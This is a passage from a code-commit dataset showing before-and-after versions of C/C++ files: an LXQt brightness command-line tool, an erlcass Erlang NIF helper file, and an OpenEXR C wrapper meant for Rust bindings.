parser.addOption(helpOption);\n\n    parser.process(app);\n    if( parser.isSet(increaseOption) || parser.isSet(decreaseOption) )\n    {\n        XRandrBrightness *brightness = new XRandrBrightness();\n        QList<MonitorInfo> monitors = brightness->getMonitorsInfo();\n        QList<MonitorInfo> monitorsChanged;\n        float sign = parser.isSet(decreaseOption)?-1.0:1.0;\n        foreach(MonitorInfo monitor, monitors)\n        {\n            \n            if( monitor.isBacklightSupported() )\n            {\n                long backlight = monitor.backlight() + sign*(monitor.backlightMax()\/30 + 1);\n                if(backlight<monitor.backlightMax())\n                {\n                    monitor.setBacklight(backlight);\n                    monitorsChanged.append(monitor);\n                }\n            }\n            else\n            {\n                float brightness = monitor.brightness() + 0.1*sign;\n                if(brightness<2.0)\n                {\n                    monitor.setBrightness(brightness);\n                    monitorsChanged.append(monitor);\n                }\n            }\n        }\n        brightness->setMonitorsSettings(monitorsChanged);\n        return 0;\n    }\n\n    BrightnessSettings *brightnessSettings = new BrightnessSettings();\n    brightnessSettings->setWindowIcon(QIcon(ICON_DIR \"\/brightnesssettings.svg\"));\n    brightnessSettings->show();\n\n    return app.exec();\n}\n\n<commit_msg>lxqt-config-brigness: Set brightness value by command line.<commit_after>\/*\n    Copyright (C) 2016  P.L. Lucas <selairi@gmail.com>\n    \n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#include \"xrandrbrightness.h\"\n#include <QDebug>\n#include <LXQt\/SingleApplication>\n#include <QCommandLineParser>\n#include \"brightnesssettings.h\"\n\nint main(int argn, char* argv[])\n{\n    LXQt::SingleApplication app(argn, argv);\n     \n    \/\/ Command line options\n    QCommandLineParser parser;\n    QCommandLineOption increaseOption(QStringList() << \"i\" << \"icrease\",\n            app.tr(\"Increase brightness.\"));\n    parser.addOption(increaseOption);\n    QCommandLineOption decreaseOption(QStringList() << \"d\" << \"decrease\",\n            app.tr(\"Decrease brightness.\"));\n    parser.addOption(decreaseOption);\n    QCommandLineOption setOption(QStringList() << \"s\" << \"set\",\n            app.tr(\"Set brightness from 1 to 100.\"), \"brightness\");\n    parser.addOption(setOption);\n    QCommandLineOption helpOption = parser.addHelpOption();\n    parser.addOption(increaseOption);\n    parser.addOption(decreaseOption);\n    parser.addOption(setOption);\n    parser.addOption(helpOption);\n\n    parser.process(app);\n    if( parser.isSet(increaseOption) || parser.isSet(decreaseOption) || parser.isSet(setOption) )\n    {\n        XRandrBrightness *brightness = new XRandrBrightness();\n        QList<MonitorInfo> monitors = brightness->getMonitorsInfo();\n        QList<MonitorInfo> monitorsChanged;\n        float sign = parser.isSet(decreaseOption)?-1.0:1.0;\n        double brightness_value = parser.value(setOption).toFloat();\n        brightness_value = qMin( qMax(brightness_value, 0.0), 100.0 ) \/ 100.0;\n        if(!parser.value(setOption).isEmpty())\n            sign = 0.0;\n        foreach(MonitorInfo monitor, monitors)\n        {\n            \n            if( monitor.isBacklightSupported() )\n            {\n                long backlight = ( monitor.backlight() + sign*(monitor.backlightMax()\/50 + 1) )*qAbs(sign) + brightness_value*monitor.backlightMax();\n                if(backlight<monitor.backlightMax() && backlight>0)\n                {\n                    monitor.setBacklight(backlight);\n                    monitorsChanged.append(monitor);\n                }\n            }\n            else\n            {\n                float brightness = (monitor.brightness() + 0.1*sign)*qAbs(sign) + brightness_value*2.0;\n                if(brightness<2.0 && brightness>0.0)\n                {\n                    monitor.setBrightness(brightness);\n                    monitorsChanged.append(monitor);\n                }\n            }\n        }\n        brightness->setMonitorsSettings(monitorsChanged);\n        return 0;\n    }\n\n    BrightnessSettings *brightnessSettings = new BrightnessSettings();\n    brightnessSettings->setWindowIcon(QIcon(ICON_DIR \"\/brightnesssettings.svg\"));\n    brightnessSettings->show();\n\n    return app.exec();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"nif_utils.h\"\n#include \"erlcass.h\"\n#include \"serialization.hpp\"\n\n#include <string.h>\n\nERL_NIF_TERM make_atom(ErlNifEnv* env, const char* name)\n{\n    ERL_NIF_TERM ret;\n    \n    if(enif_make_existing_atom(env, name, &ret, ERL_NIF_LATIN1))\n        return ret;\n\n    return enif_make_atom(env, name);\n}\n\nERL_NIF_TERM make_binary(ErlNifEnv* env, const char* buff, size_t length)\n{\n    ERL_NIF_TERM term;\n    unsigned char *destination_buffer = enif_make_new_binary(env, length, &term);\n    memcpy(destination_buffer, buff, length);\n    return term;\n}\n\nERL_NIF_TERM make_error(ErlNifEnv* env, const char* error)\n{\n    return enif_make_tuple2(env, ATOMS.atomError, make_binary(env, error, strlen(error)));\n}\n\nbool get_atom(ErlNifEnv* env, ERL_NIF_TERM term, std::string & value)\n{\n    unsigned len;\n    \n    if(!enif_get_atom_length(env, term, &len, ERL_NIF_LATIN1))\n        return false;\n    \n    value.resize(len+1);\n    return enif_get_atom(env, term, &*(value.begin()), len+1, ERL_NIF_LATIN1);\n}\n\nbool get_string(ErlNifEnv* env, ERL_NIF_TERM term, std::string & value)\n{\n    if(enif_is_binary(env, term))\n    {\n        ErlNifBinary bin;\n        \n        if(enif_inspect_binary(env, term, &bin))\n        {\n            value.resize(bin.size);\n            memcpy((char*)value.c_str(), bin.data, bin.size);\n            return true;\n        }\n    }\n    else\n    {\n        unsigned len;\n        bool ret = enif_get_list_length(env, term, &len);\n        \n        if(ret)\n        {\n            value.resize(len+1);\n            ret =  enif_get_string(env, term, &*(value.begin()), value.size(), ERL_NIF_LATIN1);\n            \n            if(ret > 0)\n                value.resize(len); \/\/trim null terminated char.\n        }\n        \n        return ret;\n    }\n    \n    return false;\n}\n\nERL_NIF_TERM cass_error_to_nif_term(ErlNifEnv* env, CassError error)\n{\n    if(error != CASS_OK)\n        return make_error(env, cass_error_desc(error));\n    \n    return ATOMS.atomOk;\n}\n\nERL_NIF_TERM cass_future_error_to_nif_term(ErlNifEnv* env, CassFuture* future)\n{\n    const char* message;\n    size_t message_length;\n    cass_future_error_message(future, &message, &message_length);\n    \n    std::string msg(message, message_length);\n    return make_error(env, msg.c_str());\n}\n<commit_msg>Remove useless include<commit_after>#include \"nif_utils.h\"\n#include \"erlcass.h\"\n\n#include <string.h>\n\nERL_NIF_TERM make_atom(ErlNifEnv* env, const char* name)\n{\n    ERL_NIF_TERM ret;\n    \n    if(enif_make_existing_atom(env, name, &ret, ERL_NIF_LATIN1))\n        return ret;\n\n    return enif_make_atom(env, name);\n}\n\nERL_NIF_TERM make_binary(ErlNifEnv* env, const char* buff, size_t length)\n{\n    ERL_NIF_TERM term;\n    unsigned char *destination_buffer = enif_make_new_binary(env, length, &term);\n    memcpy(destination_buffer, buff, length);\n    return term;\n}\n\nERL_NIF_TERM make_error(ErlNifEnv* env, const char* error)\n{\n    return enif_make_tuple2(env, ATOMS.atomError, make_binary(env, error, strlen(error)));\n}\n\nbool get_atom(ErlNifEnv* env, ERL_NIF_TERM term, std::string & value)\n{\n    unsigned len;\n    \n    if(!enif_get_atom_length(env, term, &len, ERL_NIF_LATIN1))\n        return false;\n    \n    value.resize(len+1);\n    return enif_get_atom(env, term, &*(value.begin()), len+1, ERL_NIF_LATIN1);\n}\n\nbool get_string(ErlNifEnv* env, ERL_NIF_TERM term, std::string & value)\n{\n    if(enif_is_binary(env, term))\n    {\n        ErlNifBinary bin;\n        \n        if(enif_inspect_binary(env, term, &bin))\n        {\n            value.resize(bin.size);\n            memcpy((char*)value.c_str(), bin.data, bin.size);\n            return true;\n        }\n    }\n    else\n    {\n        unsigned len;\n        bool ret = enif_get_list_length(env, term, &len);\n        \n        if(ret)\n        {\n            value.resize(len+1);\n            ret =  enif_get_string(env, term, &*(value.begin()), value.size(), ERL_NIF_LATIN1);\n            \n            if(ret > 0)\n                value.resize(len); \/\/trim null terminated char.\n        }\n        \n        return ret;\n    }\n    \n    return false;\n}\n\nERL_NIF_TERM cass_error_to_nif_term(ErlNifEnv* env, CassError error)\n{\n    if(error != CASS_OK)\n        return make_error(env, cass_error_desc(error));\n    \n    return ATOMS.atomOk;\n}\n\nERL_NIF_TERM cass_future_error_to_nif_term(ErlNifEnv* env, CassFuture* future)\n{\n    const char* message;\n    size_t message_length;\n    cass_future_error_message(future, &message, &message_length);\n    \n    std::string msg(message, message_length);\n    return make_error(env, msg.c_str());\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdint>\n#include <cstddef>\n#include \"OpenEXR\/ImathVec.h\"\n#include \"OpenEXR\/ImathBox.h\"\n#include \"OpenEXR\/ImfPixelType.h\"\n#include \"OpenEXR\/ImfChannelList.h\"\n#include \"OpenEXR\/ImfHeader.h\"\n#include \"OpenEXR\/ImfFrameBuffer.h\"\n#include \"OpenEXR\/ImfOutputFile.h\"\n#include \"OpenEXR\/ImfInputFile.h\"\n\nusing namespace IMATH_NAMESPACE;\nusing namespace Imf;\n\nextern \"C\" {\n    \/\/ PixelType\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0: u32\n    \/\/ 1: f16\n    \/\/ 2: f32\n    typedef int CEXR_PixelType;\n\n    \/\/ CompressionMethod\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0 = NO_COMPRESSION\n    \/\/ 1 = RLE_COMPRESSION\n    \/\/ 2 = ZIPS_COMPRESSION\n    \/\/ 3 = ZIP_COMPRESSION\n    \/\/ 4 = PIZ_COMPRESSION\n    \/\/ 5 = PXR24_COMPRESSION\n    \/\/ 6 = B44_COMPRESSION\n    \/\/ 7 = B44A_COMPRESSION\n    \/\/ 8 = DWAA_COMPRESSION\n    \/\/ 9 = DWAB_COMPRESSION\n    typedef int CEXR_CompressionMethod;\n\n    \/\/ Channel\n    \/\/ This isn't a wrapper per se, but an separate representation for\n    \/\/ passing to\/from Rust.\n    struct CEXR_Channel {\n        CEXR_PixelType type; \/\/ enum\n        int x_sampling;\n        int y_sampling;\n        int p_linear; \/\/ bool\n    };\n};\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Channel iterator\nextern \"C\" {\n    struct CEXR_ChannelIterator {\n        void *begin;\n        void *end;\n    };\n\n    void CEXR_ChannelIterator_delete(\n        CEXR_ChannelIterator *iterator);\n\n    const char * CEXR_ChannelIterator_next(\n        CEXR_ChannelIterator* iterator);\n};\n\nvoid CEXR_ChannelIterator_delete(CEXR_ChannelIterator *iterator) {\n    auto begin_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto end_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n    delete begin_ptr;\n    delete end_ptr;\n}\n\n\/\/ Returns nullptr if no more channels\nconst char * CEXR_ChannelIterator_next(CEXR_ChannelIterator* iterator) {\n    auto &begin = *reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto &end = *reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n\n    if (begin == end) {\n        return nullptr;\n    }\n\n    auto name = begin.name();\n    begin++;\n    return name;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ EXR header type.\nextern \"C\" {\n    struct CEXR_Header {\n        void *header;\n    };\n\n    CEXR_Header CEXR_Header_new(\n        int display_window_min_x,\n        int display_window_min_y,\n        int display_window_max_x,\n        int display_window_max_y,\n        int data_window_min_x,\n        int data_window_min_y,\n        int data_window_max_x,\n        int data_window_max_y,\n        float pixel_aspect_ratio,\n        float screen_window_center_x,\n        float screen_window_center_y,\n        float screen_window_width,\n        int line_order, \/\/ 0: INCREASING_Y, 1: DECREASING_Y, 2: RANDOM_Y\n        CEXR_CompressionMethod compression);\n\n    void CEXR_Header_delete(\n        CEXR_Header *header);\n\n    void CEXR_Header_insert_channel(\n        CEXR_Header *header,\n        const char name[],\n        const CEXR_Channel channel);\n\n    int CEXR_Header_channel_exists(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_Channel CEXR_Header_get_channel(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_ChannelIterator CEXR_Header_new_channel_iterator(\n        CEXR_Header *header);\n};\n\nCEXR_Header CEXR_Header_new(\n    int display_window_min_x,\n    int display_window_min_y,\n    int display_window_max_x,\n    int display_window_max_y,\n    int data_window_min_x,\n    int data_window_min_y,\n    int data_window_max_x,\n    int data_window_max_y,\n    float pixel_aspect_ratio,\n    float screen_window_center_x,\n    float screen_window_center_y,\n    float screen_window_width,\n    int line_order,\n    int compression\n) {\n    CEXR_Header header;\n\n    header.header = new Header(\n        Box2i(V2i(display_window_min_x, display_window_min_y), V2i(display_window_max_x, display_window_max_y)),\n        Box2i(V2i(data_window_min_x, data_window_min_y), V2i(data_window_max_x, data_window_max_y)),\n        pixel_aspect_ratio,\n        V2f(screen_window_center_x, screen_window_center_y),\n        screen_window_width,\n        static_cast<LineOrder>(line_order),\n        static_cast<Compression>(compression));\n    return header;\n}\n\nvoid CEXR_Header_delete(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    delete h;\n}\n\nvoid CEXR_Header_insert_channel(CEXR_Header *header, const char name[], const CEXR_Channel channel) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().insert(\n        name,\n        Channel(\n            static_cast<PixelType>(channel.type),\n            channel.x_sampling,\n            channel.y_sampling,\n            channel.p_linear));\n}\n\nint CEXR_Header_channel_exists(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().findChannel(name) != 0;\n}\n\nCEXR_Channel CEXR_Header_get_channel(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    auto chan = h->channels().findChannel(name);\n\n    CEXR_Channel channel;\n    channel.type = chan->type;\n    channel.x_sampling = chan->xSampling;\n    channel.y_sampling = chan->ySampling;\n    channel.p_linear = chan->pLinear;\n\n    return channel;\n}\n\nCEXR_ChannelIterator CEXR_Header_new_channel_iterator(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n\n    CEXR_ChannelIterator channel_iter;\n    channel_iter.begin = reinterpret_cast<void*>(new auto(h->channels().begin()));\n    channel_iter.end = reinterpret_cast<void*>(new auto(h->channels().end()));\n\n    return channel_iter;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ FrameBuffer\nextern \"C\" {\n    struct CEXR_FrameBuffer {\n        void *frame_buffer;\n    };\n\n    CEXR_FrameBuffer CEXR_FrameBuffer_new();\n\n    void CEXR_FrameBuffer_delete(\n        CEXR_FrameBuffer *frame_buffer);\n\n    void CEXR_FrameBuffer_insert_slice(\n        CEXR_FrameBuffer *frame_buffer,\n        const char name[],\n        char *base,\n        size_t x_stride,\n        size_t y_stride,\n        int x_sampling,\n        int y_sampling,\n        double fill_value,\n        int x_tile_coords, \/\/ bool\n        int y_tile_coords \/\/ bool\n        );\n};\n\nCEXR_FrameBuffer CEXR_FrameBuffer_new() {\n    CEXR_FrameBuffer buffer;\n\n    buffer.frame_buffer = reinterpret_cast<void*>(new FrameBuffer());\n\n    return buffer;\n}\n\nvoid CEXR_FrameBuffer_delete(CEXR_FrameBuffer *frame_buffer) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n    delete buffer;\n}\n\nvoid CEXR_FrameBuffer_insert_slice(\n    CEXR_FrameBuffer *frame_buffer,\n    const char name[],\n    CEXR_PixelType type,\n    char *base,\n    size_t x_stride,\n    size_t y_stride,\n    int x_sampling,\n    int y_sampling,\n    double fill_value,\n    int x_tile_coords, \/\/ bool\n    int y_tile_coords \/\/ bool\n) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    Slice slice;\n    slice.type = static_cast<PixelType>(type);\n    slice.base = base;\n    slice.xStride = x_stride;\n    slice.yStride = y_stride;\n    slice.xSampling = x_sampling;\n    slice.ySampling = y_sampling;\n    slice.fillValue = fill_value;\n    slice.xTileCoords = x_tile_coords;\n    slice.yTileCoords = y_tile_coords;\n\n    buffer->insert(name, slice);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ OutputFile\nextern \"C\" {\n    struct CEXR_OutputFile {\n        void *output_file;\n    };\n\n    CEXR_OutputFile CEXR_OutputFile_new(\n        const char * file_name,\n        const CEXR_Header *header,\n        int num_threads);\n\n    void CEXR_OutputFile_delete(\n        CEXR_OutputFile *output_file);\n\n    void CEXR_OutputFile_set_frame_buffer(\n        CEXR_OutputFile* output_file,\n        CEXR_FrameBuffer* frame_buffer);\n\n    void CEXR_OutputFile_write_pixels(\n        CEXR_OutputFile* output_file,\n        int num_scan_lines);\n};\n\nCEXR_OutputFile CEXR_OutputFile_new(const char * file_name, const CEXR_Header *header, int num_threads) {\n    CEXR_OutputFile output_file;\n\n    output_file.output_file = reinterpret_cast<void*>(new OutputFile(\n        file_name,\n        *reinterpret_cast<Header*>(header->header),\n        num_threads\n    ));\n\n    return output_file;\n}\n\nvoid CEXR_OutputFile_delete(CEXR_OutputFile *output_file) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n\n    delete outfile;\n}\n\nvoid CEXR_OutputFile_set_frame_buffer(CEXR_OutputFile* output_file, CEXR_FrameBuffer* frame_buffer) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n    auto framebuf = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    outfile->setFrameBuffer(*framebuf);\n}\n\nvoid CEXR_OutputFile_write_pixels(CEXR_OutputFile* output_file, int num_scan_lines) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n\n    outfile->writePixels(num_scan_lines);\n}\n\n\n\/\/ \/\/------------------------------------------------------------------------------\n\/\/ \/\/ InputFile\n\/\/ extern \"C\" {\n\/\/     struct CEXR_InputFile {\n\/\/         CEXR_Header header;\n\/\/         void *input_file;\n\/\/     };\n\/\/\n\/\/     CEXR_InputFile CEXR_InputFile_new(\n\/\/         const char file_name[],\n\/\/         int num_threads);\n\/\/\n\/\/     void CEXR_InputFile_delete(\n\/\/         CEXR_InputFile *input_file);\n\/\/\n\/\/     const CEXR_Header *CEXR_InputFile_header(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     int CEXR_InputFile_version(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_set_frame_buffer(\n\/\/         CEXR_InputFile* input_file,\n\/\/         CEXR_FrameBuffer* frame_buffer);\n\/\/\n\/\/     int CEXR_InputFile_is_complete(\n\/\/         const CEXR_InputFile *input_file);\n\/\/\n\/\/     void CEXR_InputFile_read_pixels(\n\/\/         CEXR_InputFile *input_file,\n\/\/         int scanline_1,\n\/\/         int scanline_2);\n\/\/ };\n<commit_msg>Wrapped InputFile for C.<commit_after>#include <cstdint>\n#include <cstddef>\n#include \"OpenEXR\/ImathVec.h\"\n#include \"OpenEXR\/ImathBox.h\"\n#include \"OpenEXR\/ImfPixelType.h\"\n#include \"OpenEXR\/ImfChannelList.h\"\n#include \"OpenEXR\/ImfHeader.h\"\n#include \"OpenEXR\/ImfFrameBuffer.h\"\n#include \"OpenEXR\/ImfOutputFile.h\"\n#include \"OpenEXR\/ImfInputFile.h\"\n\nusing namespace IMATH_NAMESPACE;\nusing namespace Imf;\n\nextern \"C\" {\n    \/\/ PixelType\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0: u32\n    \/\/ 1: f16\n    \/\/ 2: f32\n    typedef int CEXR_PixelType;\n\n    \/\/ CompressionMethod\n    \/\/ This is a stand-in for an enum from the C++ library.\n    \/\/ 0 = NO_COMPRESSION\n    \/\/ 1 = RLE_COMPRESSION\n    \/\/ 2 = ZIPS_COMPRESSION\n    \/\/ 3 = ZIP_COMPRESSION\n    \/\/ 4 = PIZ_COMPRESSION\n    \/\/ 5 = PXR24_COMPRESSION\n    \/\/ 6 = B44_COMPRESSION\n    \/\/ 7 = B44A_COMPRESSION\n    \/\/ 8 = DWAA_COMPRESSION\n    \/\/ 9 = DWAB_COMPRESSION\n    typedef int CEXR_CompressionMethod;\n\n    \/\/ Channel\n    \/\/ This isn't a wrapper per se, but an separate representation for\n    \/\/ passing to\/from Rust.\n    struct CEXR_Channel {\n        CEXR_PixelType type; \/\/ enum\n        int x_sampling;\n        int y_sampling;\n        int p_linear; \/\/ bool\n    };\n};\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ Channel iterator\nextern \"C\" {\n    struct CEXR_ChannelIterator {\n        void *begin;\n        void *end;\n    };\n\n    void CEXR_ChannelIterator_delete(\n        CEXR_ChannelIterator *iterator);\n\n    const char * CEXR_ChannelIterator_next(\n        CEXR_ChannelIterator* iterator);\n};\n\nvoid CEXR_ChannelIterator_delete(CEXR_ChannelIterator *iterator) {\n    auto begin_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto end_ptr = reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n    delete begin_ptr;\n    delete end_ptr;\n}\n\n\/\/ Returns nullptr if no more channels\nconst char * CEXR_ChannelIterator_next(CEXR_ChannelIterator* iterator) {\n    auto &begin = *reinterpret_cast<ChannelList::Iterator*>(iterator->begin);\n    auto &end = *reinterpret_cast<ChannelList::Iterator*>(iterator->end);\n\n    if (begin == end) {\n        return nullptr;\n    }\n\n    auto name = begin.name();\n    begin++;\n    return name;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ EXR header type.\nextern \"C\" {\n    struct CEXR_Header {\n        void *header;\n    };\n\n    CEXR_Header CEXR_Header_new(\n        int display_window_min_x,\n        int display_window_min_y,\n        int display_window_max_x,\n        int display_window_max_y,\n        int data_window_min_x,\n        int data_window_min_y,\n        int data_window_max_x,\n        int data_window_max_y,\n        float pixel_aspect_ratio,\n        float screen_window_center_x,\n        float screen_window_center_y,\n        float screen_window_width,\n        int line_order, \/\/ 0: INCREASING_Y, 1: DECREASING_Y, 2: RANDOM_Y\n        CEXR_CompressionMethod compression);\n\n    void CEXR_Header_delete(\n        CEXR_Header *header);\n\n    void CEXR_Header_insert_channel(\n        CEXR_Header *header,\n        const char name[],\n        const CEXR_Channel channel);\n\n    int CEXR_Header_channel_exists(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_Channel CEXR_Header_get_channel(\n        CEXR_Header *header,\n        const char name[]);\n\n    CEXR_ChannelIterator CEXR_Header_new_channel_iterator(\n        CEXR_Header *header);\n};\n\nCEXR_Header CEXR_Header_new(\n    int display_window_min_x,\n    int display_window_min_y,\n    int display_window_max_x,\n    int display_window_max_y,\n    int data_window_min_x,\n    int data_window_min_y,\n    int data_window_max_x,\n    int data_window_max_y,\n    float pixel_aspect_ratio,\n    float screen_window_center_x,\n    float screen_window_center_y,\n    float screen_window_width,\n    int line_order,\n    int compression\n) {\n    CEXR_Header header;\n\n    header.header = new Header(\n        Box2i(V2i(display_window_min_x, display_window_min_y), V2i(display_window_max_x, display_window_max_y)),\n        Box2i(V2i(data_window_min_x, data_window_min_y), V2i(data_window_max_x, data_window_max_y)),\n        pixel_aspect_ratio,\n        V2f(screen_window_center_x, screen_window_center_y),\n        screen_window_width,\n        static_cast<LineOrder>(line_order),\n        static_cast<Compression>(compression));\n    return header;\n}\n\nvoid CEXR_Header_delete(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    delete h;\n}\n\nvoid CEXR_Header_insert_channel(CEXR_Header *header, const char name[], const CEXR_Channel channel) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().insert(\n        name,\n        Channel(\n            static_cast<PixelType>(channel.type),\n            channel.x_sampling,\n            channel.y_sampling,\n            channel.p_linear));\n}\n\nint CEXR_Header_channel_exists(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    h->channels().findChannel(name) != 0;\n}\n\nCEXR_Channel CEXR_Header_get_channel(CEXR_Header *header, const char name[]) {\n    auto h = reinterpret_cast<Header*>(header->header);\n    auto chan = h->channels().findChannel(name);\n\n    CEXR_Channel channel;\n    channel.type = chan->type;\n    channel.x_sampling = chan->xSampling;\n    channel.y_sampling = chan->ySampling;\n    channel.p_linear = chan->pLinear;\n\n    return channel;\n}\n\nCEXR_ChannelIterator CEXR_Header_new_channel_iterator(CEXR_Header *header) {\n    auto h = reinterpret_cast<Header*>(header->header);\n\n    CEXR_ChannelIterator channel_iter;\n    channel_iter.begin = reinterpret_cast<void*>(new auto(h->channels().begin()));\n    channel_iter.end = reinterpret_cast<void*>(new auto(h->channels().end()));\n\n    return channel_iter;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ FrameBuffer\nextern \"C\" {\n    struct CEXR_FrameBuffer {\n        void *frame_buffer;\n    };\n\n    CEXR_FrameBuffer CEXR_FrameBuffer_new();\n\n    void CEXR_FrameBuffer_delete(\n        CEXR_FrameBuffer *frame_buffer);\n\n    void CEXR_FrameBuffer_insert_slice(\n        CEXR_FrameBuffer *frame_buffer,\n        const char name[],\n        char *base,\n        size_t x_stride,\n        size_t y_stride,\n        int x_sampling,\n        int y_sampling,\n        double fill_value,\n        int x_tile_coords, \/\/ bool\n        int y_tile_coords \/\/ bool\n        );\n};\n\nCEXR_FrameBuffer CEXR_FrameBuffer_new() {\n    CEXR_FrameBuffer buffer;\n\n    buffer.frame_buffer = reinterpret_cast<void*>(new FrameBuffer());\n\n    return buffer;\n}\n\nvoid CEXR_FrameBuffer_delete(CEXR_FrameBuffer *frame_buffer) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n    delete buffer;\n}\n\nvoid CEXR_FrameBuffer_insert_slice(\n    CEXR_FrameBuffer *frame_buffer,\n    const char name[],\n    CEXR_PixelType type,\n    char *base,\n    size_t x_stride,\n    size_t y_stride,\n    int x_sampling,\n    int y_sampling,\n    double fill_value,\n    int x_tile_coords, \/\/ bool\n    int y_tile_coords \/\/ bool\n) {\n    auto buffer = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    Slice slice;\n    slice.type = static_cast<PixelType>(type);\n    slice.base = base;\n    slice.xStride = x_stride;\n    slice.yStride = y_stride;\n    slice.xSampling = x_sampling;\n    slice.ySampling = y_sampling;\n    slice.fillValue = fill_value;\n    slice.xTileCoords = x_tile_coords;\n    slice.yTileCoords = y_tile_coords;\n\n    buffer->insert(name, slice);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ OutputFile\nextern \"C\" {\n    struct CEXR_OutputFile {\n        void *output_file;\n    };\n\n    CEXR_OutputFile CEXR_OutputFile_new(\n        const char * file_name,\n        const CEXR_Header *header,\n        int num_threads);\n\n    void CEXR_OutputFile_delete(\n        CEXR_OutputFile *output_file);\n\n    void CEXR_OutputFile_set_frame_buffer(\n        CEXR_OutputFile* output_file,\n        CEXR_FrameBuffer* frame_buffer);\n\n    void CEXR_OutputFile_write_pixels(\n        CEXR_OutputFile* output_file,\n        int num_scan_lines);\n};\n\nCEXR_OutputFile CEXR_OutputFile_new(const char * file_name, const CEXR_Header *header, int num_threads) {\n    CEXR_OutputFile output_file;\n\n    output_file.output_file = reinterpret_cast<void*>(new OutputFile(\n        file_name,\n        *reinterpret_cast<Header*>(header->header),\n        num_threads\n    ));\n\n    return output_file;\n}\n\nvoid CEXR_OutputFile_delete(CEXR_OutputFile *output_file) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n\n    delete outfile;\n}\n\nvoid CEXR_OutputFile_set_frame_buffer(CEXR_OutputFile* output_file, CEXR_FrameBuffer* frame_buffer) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n    auto framebuf = reinterpret_cast<FrameBuffer*>(frame_buffer->frame_buffer);\n\n    outfile->setFrameBuffer(*framebuf);\n}\n\nvoid CEXR_OutputFile_write_pixels(CEXR_OutputFile* output_file, int num_scan_lines) {\n    auto outfile = reinterpret_cast<OutputFile*>(output_file->output_file);\n\n    outfile->writePixels(num_scan_lines);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ InputFile\nextern \"C\" {\n    struct CEXR_InputFile {\n        CEXR_Header header;\n        void *input_file;\n    };\n\n    CEXR_InputFile CEXR_InputFile_new(\n        const char file_name[],\n        int num_threads);\n\n    void CEXR_InputFile_delete(\n        CEXR_InputFile *input_file);\n\n    const CEXR_Header *CEXR_InputFile_header(\n        const CEXR_InputFile *input_file);\n\n    int CEXR_InputFile_version(\n        const CEXR_InputFile *input_file);\n\n    void CEXR_InputFile_set_frame_buffer(\n        CEXR_InputFile* input_file,\n        CEXR_FrameBuffer* frame_buffer);\n\n    int CEXR_InputFile_is_complete(\n        const CEXR_InputFile *input_file);\n\n    void CEXR_InputFile_read_pixels(\n        CEXR_InputFile *input_file,\n        int scanline_1,\n        int scanline_2);\n};\n\nCEXR_InputFile CEXR_InputFile_new(const char file_name[], int num_threads) {\n    CEXR_InputFile input_file;\n    auto in_file = new InputFile(file_name, num_threads);\n    input_file.header.header = const_cast<void*>(reinterpret_cast<const void*>(&in_file->header()));\n    input_file.input_file = reinterpret_cast<void*>(in_file);\n\n    return input_file;\n}\n\nvoid CEXR_InputFile_delete(CEXR_InputFile *input_file) {\n    auto in_file = reinterpret_cast<InputFile*>(input_file->input_file);\n    delete in_file;\n}\n\nconst CEXR_Header *CEXR_InputFile_header(const CEXR_InputFile *input_file) {\n    return &(input_file->header);\n}\n\nint CEXR_InputFile_version(const CEXR_InputFile *input_file) {\n    